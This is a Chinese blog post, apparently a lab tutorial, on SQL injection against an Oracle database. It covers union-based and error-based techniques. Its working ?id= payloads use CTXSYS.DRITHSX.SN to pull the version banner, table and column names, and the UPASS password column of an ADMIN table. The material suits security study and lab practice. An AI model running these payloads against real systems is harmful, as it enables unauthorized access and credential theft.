oracle报错注入

1.首先尝试显错注入

oracle数据库和mysql的数据库不一样,他比较死板,所以格式要求比较严。

oracle有个虚表dual,在mysql查询时,可以直接 select 1,2,3 

但是在oracle不行,必须要带上虚表dual

即:select 1,2,3 from dual

这个虚表的作用很多,例如:

select 1+9 from dual 数据运算

select user from dual 查询你的用户名

select dbms_random from dual 调用系统函数,获得随机值

 

先来看靶场

 

这里会直接显示执行的语句,所以用来入门比较方便

注入步骤:

1.按照正常步骤来,先判断字段数(不详细说)

?id=1 order by 4字段数为4

2.判断显错位

这里跟mssql一样,数据类型要和数据库字段类型一样,所以用NULL替代后,在一个一个试

?id=0 union all select NULL,NULL,NULL,NULL from dual这里id要为0后面才能有回显

这回显了一个时间戳的开始时间

只有试到第四个字段时,回显才有变化

?id=0 union all select NULL,NULL,NULL,111111 from dual

我们查查111111时间戳换算为时间是多少

跟回显的一样,可以知道这里回显的是0+111111s的时间戳转换为现在的时间,时间戳类型

可以进行类型转换,但是注入点不在这个,要一个个试,因为oracle的数据类型很多,靠运气

?id=0 union all select null,null,to_nchar('a'),null from dual

得到的回显

?id=0 union all select null,null,to_nchar(table_name),null from user_tables where rownum=1

但是不知道为什么显示不了admin,有可能是前面的null把第一个数据给覆盖了

 

可以换种方法,报错注入

但是oracle的查表非常简单

select * from all_tables 查询出所有的表

select * from user_tables 查询出当前用户的表

select * from all_tab_columns 查询出所以的字段

select * from user_tab_columns 查询出当前用户的字段

select * from v$version 查版本

同时用rownum=1来限制查询返回的总行数为一条

若是返回两条,则用rownum<3

 

2.报错注入

 

报错注入使用函数

CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1))

去查询关于主题的对应关键词,然后因为查询失败(应该是这个用户没有创建和查询的权限,默认情况没有创建,爆出未查询到的错误从而爆出查询的内容)

eg:

?id=1 and 1=CTXSYS.DRITHSX.SN(1,(select banner from sys.v_$version where rownum=1)) 查询数据库版本

因为oracle的语言比较严谨,where后跟的都是条件,单独的字符串不能作为条件,比较才能作为条件,存在的字段名等于这个字符串也可以作为条件,所以要有1=

 

划线地方即为数据库版本

用同样的方法,来得到表名

?id=1 and 1=CTXSYS.DRITHSX.SN(1,(select table_name from user_tables where rownum=1))

得到

这里如果想要查询第二表,则需要

使用不等于法“<>” 使用这个来把已经查到的表名排除掉

?id=1 and 1=CTXSYS.DRITHSX.SN(1,(select table_name from user_tables where table_name<>'ADMIN' and rownum=1))

爆出第二个表

 

然后查字段

?id=1 and 1=CTXSYS.DRITHSX.SN(1,(select column_name from user_tab_columns where table_name='ADMIN' and rownum=1))

别名法得到其他字段

?id=1 and 1=CTXSYS.DRITHSX.SN(1,(select column_name from (select column_name,rownum as n from user_tab_columns where table_name='ADMIN') where n=2))

然后查询

?id=1 and 1=CTXSYS.DRITHSX.SN(1,(select UPASS from ADMIN where rownum=1))

?id=1 and 1=CTXSYS.DRITHSX.SN(1,(select UPASS from (select UPASS,rownum as n from ADMIN ) where n=2))

 

posted @ 2022-05-01 10:03  v2ish1yan  阅读(106)  评论(0)    收藏  举报